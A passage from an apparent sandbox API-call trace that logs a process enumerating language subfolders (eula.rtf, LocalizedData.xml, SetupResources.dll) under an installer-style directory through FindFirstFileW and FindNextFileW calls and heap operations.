ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290200 [0101.133] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.133] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.133] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.134] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.134] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.134] FindClose (in: hFindFile=0x4290200 | out: hFindFile=0x4290200) returned 1 [0101.134] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.134] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0101.134] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.134] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290700 [0101.135] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.135] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.135] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.135] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.135] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.135] FindClose (in: hFindFile=0x4290700 | out: hFindFile=0x4290700) returned 1 [0101.135] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.135] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0101.135] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.135] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290080 [0101.135] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.136] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.136] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.136] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.136] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.136] FindClose (in: hFindFile=0x4290080 | out: hFindFile=0x4290080) returned 1 [0101.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.136] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0101.136] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.136] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.137] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.137] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.137] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.137] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.137] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.137] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.137] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0101.138] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.138] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290340 [0101.138] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.138] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.138] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.138] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.139] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.139] FindClose (in: hFindFile=0x4290340 | out: hFindFile=0x4290340) returned 1 [0101.139] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.139] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0101.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.139] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290800 [0101.139] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.139] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.139] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.139] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.139] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.139] FindClose (in: hFindFile=0x4290800 | out: hFindFile=0x4290800) returned 1 [0101.140] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.140] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0101.140] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.140] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290480 [0101.140] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 